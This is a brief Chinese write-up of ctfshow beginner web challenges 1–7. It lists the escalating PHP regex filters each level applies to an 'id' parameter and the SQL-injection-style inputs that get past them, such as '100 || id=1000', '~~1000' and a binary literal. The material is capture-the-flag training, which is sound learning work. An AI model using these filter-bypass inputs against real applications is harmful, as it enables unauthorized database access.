ctfshow 萌新2-7
【萌新计划】web1
题目: 代码很安全,没有漏洞。
解题思路: 题目代码

提示flag在id=1000,可是id不能等于1000,构造如下url
http://c7754cb0-683d-4156-a846-7e507ca0651b.chall.ctf.show/?id=100%20||%20id%20=1000

【萌新计划】web2-7
if(preg_match("/or|\+/i",$id))
if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id))
if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id))
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id))
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id))
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id))
通过各种过滤 过滤掉一些字符
我们可以构造不同的url,得到flag
?id=100 or id=1000
?id=100 || id=100
?id=~~1000
?id=0b001111101000

浙公网安备 33010602011771号